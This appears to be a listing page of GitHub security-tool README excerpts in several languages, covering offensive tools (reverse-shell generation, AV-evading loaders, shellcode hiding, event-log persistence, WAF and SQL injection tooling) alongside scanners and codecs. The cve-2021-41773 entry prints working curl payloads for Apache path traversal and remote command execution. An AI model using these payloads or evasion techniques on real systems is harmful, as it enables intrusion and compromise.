awesome-web-security

Awesome Web Security - ZH 🐶 Curated list of Web Security materials and resources. Needless to say, most websites suffer from various types of bugs which may eventually lead to vulnerabilities. Why would this happen so often? There can be many factors involved including misconfiguration, shortage ...

Slink

Slink es un codificador de shellcode alfanumérico x86 que utiliza operaciones matemáticas simples para reformatear caracteres más allá de 7f. La creación de la herramienta se inspiró en el siguiente exploit EDB-ID: 44455. Aquí está la lista de características actuales: Codificar utilizando el...

tesseract

Unit Testing for Tesseract Requirements Files and structure ├── langdatalstm │ ├── common.punc │ ├── common.unicharambigs │ ├── desiredbigrams.txt │ ├── eng │ │ ├── desiredcharacters │ │ ├── eng.config │ │ ├── eng.numbers │ │ ├── eng.punc │ │ ├── eng.singlestext │ │ ...

Shelltropy

Shelltropy 你越可预测，就越不容易被检测 一种基于Shannon编码的低熵隐藏恶意Shellcode的技术。 熵是衡量数据（此处：Shellcode）随机性的指标。熵越高，数据越随机。Shannon熵算法会返回0到8之间的结果，其中8表示数据中没有模式，因此非常随机；0表示数据遵循某种模式。 注意： 请参阅我的博客文章，了解更详细的研究说明以及一个简单的Vanilla Shellcode注入PoC。 安装 克隆此仓库： git clone https://github.com/kleiton0x00/Shelltropy.git 对于编码器： 创建一个新的Visual...

reverse-shell-generator

reverse-shell-generator 托管的反弹 Shell 生成器，功能丰富——（非常适合 CTF） 托管实例 https://revshells.com 功能 生成常见的监听器和反弹 Shell 保存按钮，可从浏览器下载 Payload 原始模式，可将 Shell 通过 cURL 传输到您的机器 一键增加监听端口号（+1） URI 和 Base64 编码 LocalStorage 持久化您的配置 深色、浅色和 Meme 模式 集成 HoaxShell 及自定义监听器（更多信息见下方链接）| 致谢：https://github.com/t3l3machus HoaxShell...

powerglot

Powerglot Powerglot 使用多语言混写技术对多种脚本进行编码，例如攻击性的 PowerShell 脚本。无需加载器即可运行载荷。 在红队演练或攻击任务中，通常使用隐写术来掩盖载荷，尤其是为了绕过网络层面的防护，而最常见的载荷脚本是用 PowerShell 编写的。最近的恶意软件和 APT 组织利用了其中一些能力：APT32、APT37、Ursnif、Powload、LightNeuron/Turla、Platinum APT、Waterbug/Turla、Lokibot、The Dukes（Ghost 行动）、Titanium 等。 Powerglot...

json-sanitizer

json-sanitizer Dado contenido similar a JSON, JSON Sanitizer lo convierte en JSON válido. Primeros pasos - Contacto Esto puede conectarse en cualquiera de los extremos de una tubería de datos para ayudar a satisfacer el principio de Postel: sé conservador en lo que haces, sé liberal en lo que...

amber

介绍 Amber 是一个位置无关（反射式）PE 加载器，能够实现原生 PE 文件（EXE、DLL、SYS……）的内存中执行。它支持隐蔽的内存内载荷部署，可用于绕过防病毒、防火墙、IDS、IPS 产品以及应用程序白名单缓解措施。Amber 生成的反射式载荷既可以从远程服务器分阶段传输，也可以像通用 shellcode 一样直接在内存中执行。默认情况下，每个生成的载荷都使用新一代 SGN 编码器 进行编码。Amber 使用 CRC32API 和 IATAPI 来隐秘地解析 Windows API 函数地址。PE 文件在内存中加载并执行后，反射式载荷会被擦除以躲避内存扫描器。 安装...

XSSYA

XSSYA-V2.0 ha sido lanzado - consulta https://github.com/yehia-mamdouh/XSSYA-V-2.0 XSSYA es un Escáner de Cross Site Scripting y Confirmación de Vulnerabilidades Funciona con dos Métodos • Método número 1 para Confirmación de Solicitud y Respuesta • Método número 2 para Confirmación: Ejecutar...

ToolsFx

ToolsFx English|中文 前言 为什么开发这个工具? 每次加解密需要找在线工具进行处理,效率低 在线工具支持的功能不全或者某些处理结果不对 如查错网AES CFB/OFB 加密错误 大部分工具不支持文件加密 第三方PC端工具功能不全,体验不好,不支持跨平台 如PYG密码工具箱 主要功能 编解码 wiki base64 urlBase64 base16/32/36/45/58/62/85/91/92/100 base58check UrlEncode Unicode js hex\x61/js octal\140 binary/octal/decimal/hex...

ghauri

Like Ghauri, consider supporting the developer Ghauri An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws. Requirements Python 3 Python pip3 Installation cd to ghauri directory. install requirements: python3 -m pip install --upgrade ...

cve-2021-41773

cve-2021-41773 CVE-2021-41773 Apache 2.4.49 中的路径遍历漏洞。 RCE 概念验证 PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh 关注我们 Vulnmachines YouTube Twitter Facebook LinkedIn...

python-codext

CodExt 编码/解码一切。 CodExt 是一个（兼容 Python 2 和 3）库，它扩展了原生 codecs 库（即用于添加新的自定义编码和字符映射），并提供了 120+ 个新的 codecs ，因此得名，意为 CODecs EXTension （编解码器扩展）。它还提供了一个 猜测模式 ，用于解码多层编码，以及便捷的 CLI 工具 。sh $ pip install codext 想要贡献一种新的编解码器？|想要贡献一种新的宏？ :----------------------------------:|:------------------------------------:...

llvm-jutsu

llvm-jutsu: ofuscación anti-LLM Este es un entero de 32 bits El Problema Estamos en 2025. Has pasado semanas creando la verificación de licencia perfecta. Has usado todos los trucos del libro: predicados opacos, aplanamiento de flujo de control, expresiones MBA. Lo despliegas. En cuestión de hora...

SharpEventPersist

SharpEventPersist 通过写入/读取事件日志中的 shellcode 实现持久化。 使用方法 SharpEventPersist 工具接受 4 个区分大小写的参数： -file "C:\path\to\shellcode.bin" -instanceid 1337 -source Persistence -eventlog "Key Management Service" shellcode 被转换为十六进制并写入 "Key Management Service"，事件等级设置为 "Information"，源为 "Persistence"。 运行...

flawfinder

About This is "flawfinder" by David A. Wheeler. Flawfinder is a simple program that scans C/C++ source code and reports potential security flaws. It can be a useful tool for examining software for vulnerabilities, and it can also serve as a simple introduction to static source code analysis tools...

purrcrypt

🐱 PurrCrypt 🐶 毛茸茸的安全，爪爪的可爱！ 将你的秘密 喵 安全地保存起来，直接从你的电脑 喵 向你的 爪 友传递，简直 喵 翻了！ !IMPORTANT PurrCrypt 是披着可爱外衣的真正密码学！你的消息受到与比特币相同的椭圆曲线算法保护，只不过包裹在可爱的猫狗叫声中。可爱绝不应牺牲安全！ 这个毛茸茸的东西是什么？🐾 PurrCrypt 是一个极度认真的密码学家连续 48 小时沉迷猫片后的产物！它是一个超强加密工具，用最可爱的方式隐藏你的秘密——将其转化为猫猫和狗狗的语言！ 在毛茸茸的外表下，PurrCrypt...

shellme

shellme Porque a veces solo necesitas shellcode y opcodes rápidamente. Esto esencialmente solo envuelve algunas llamadas a nasm/objdump en un práctico script. bryan@devbox:/shellme$ python shellme.py usage: shellme.py -h -n FILE -o OUTPUT -i INSTRUCTION -a ARCH optional arguments: -h, --help show...

XORpass

XORpass 是一个编码器，通过使用 XOR 运算来绕过 WAF 过滤器。 安装与使用 git clone https://github.com/devploit/XORpass cd XORpass $ python3 xorpass.py -h 绕过示例： 使用清晰的 PHP 函数： 使用该函数的 XOR 绕过： $ python3 xorpass.py -e "systemls" 为什么PHP将我们的载荷视为字符串？ ^ 是异或运算符，这意味着我们实际上在处理二进制值。让我们分解一下发生了什么。 XOR 运算符在二进制值上，当只有一个位为1时返回1，否则返回0（0^0 = 0,...

yaralyzer

YARALYZER 工具 直观地检查二进制数据和/或文本中所有正则表达式（以及它更性感、更具谍战风格的远亲 YARA 匹配）的匹配结果。看看当你对这些匹配字节强制应用各种字符编码时会怎样。带颜色显示。 快速开始 pipx install yaralyzer 使用文件中定义的 YARA 规则进行扫描： yaralyze --yara-rules /secret/vault/sigmundsmalwarerules.yara lacanbuysthedip.pdf 使用任意正则表达式进行扫描： yaralyze --regex-pattern 'good and...